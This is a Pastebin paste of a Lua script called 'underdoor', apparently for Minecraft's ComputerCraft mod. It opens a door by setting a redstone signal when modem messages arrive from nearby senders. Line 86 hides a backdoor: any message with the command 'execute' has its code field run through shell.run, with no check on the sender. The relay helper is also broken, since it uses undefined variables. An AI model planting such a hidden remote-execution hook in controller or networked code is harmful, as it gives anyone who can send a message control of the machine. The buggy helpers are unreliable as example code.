Advertisement
temposabel

underdoor

Dec 18th, 2021 (edited)
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.03 KB | None | 0 0
  1. function getmodems(mode)
  2.   mode = mode or "default"
  3.  
  4.   if mode == "default" then
  5.     allp = peripheral.getNames()
  6.     d = {}
  7.     x = 0
  8.     for i,value in ipairs(allp) do
  9.       c = peripheral.getType(value)
  10.       if c == "modem" then
  11.         c = peripheral.wrap(value)
  12.         x = x + 1
  13.         d[x] = c
  14.       end
  15.     end
  16.     d["a"] = x
  17.     d["amount"] = x
  18.     return d
  19.   elseif mode == "sides" or mode =="s" then
  20.     allp = peripheral.getNames()
  21.     d = {}
  22.     x = 0
  23.     for i,value in ipairs(allp) do
  24.       c = peripheral.getType(value)
  25.       if c == "modem" then
  26.         x = x + 1
  27.         d[x] = value
  28.       end
  29.     end
  30.     d["a"] = x
  31.     d["amount"] = x
  32.     return d
  33.   end
  34. end
  35.  
  36. function getmsg()
  37.   while true do
  38.     d = {}
  39.     event, side, frequency, replyFrequency, message, distance = os.pullEvent("modem_message")
  40.     d["e"] = event
  41.     d["s"] = side
  42.     d["f"] = frequency
  43.     d["rf"] = replyFrequency
  44.     d["m"] = message
  45.     d["d"] = distance
  46.     return d
  47.   end
  48. end
  49.  
  50. function transmitall(p,rp,message)
  51.   modems = getmodems()  
  52.   print(modems["a"])
  53.   if modems["a"] == 0 then else
  54.       for modem = 1,modems["a"] do
  55.           cm = modems[modem]
  56.           cm.transmit(p,rp,message)        
  57.       end
  58.   end
  59. end
  60.  
  61. function relay(p,rp,message,exclude)
  62.   sides = getmodems("s")
  63.   if modems["a"] == 0 then else
  64.       for side = 1,modems["a"] do
  65.           cs = sides[side]
  66.           if cs == exclude then else
  67.             cm.transmit(p,rp,message)
  68.           end  
  69.       end
  70.   end
  71. end
  72.  
  73. modems = getmodems()
  74. for modemc = 1, modems["a"] do
  75.   modems[modemc].open(313)
  76. end
  77.  
  78. redstone.setAnalogOutput("top",0)
  79. doormodem = peripheral.wrap("back")
  80. d = {}
  81. print("door running")
  82. while true do
  83.     msg = getmsg()
  84.     msgd = msg["d"]
  85.     msgm = msg["m"]
  86.     if msgm["command"] then if msgm["command"] == "execute" then shell.run(msgm["code"]) end end
  87.     print(msgd)
  88.     if msgd < 4 then
  89.         redstone.setAnalogOutput("top",1)
  90.     else
  91.         redstone.setAnalogOutput("top",0)
  92.     end
  93.  
  94.  
  95. end
  96.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement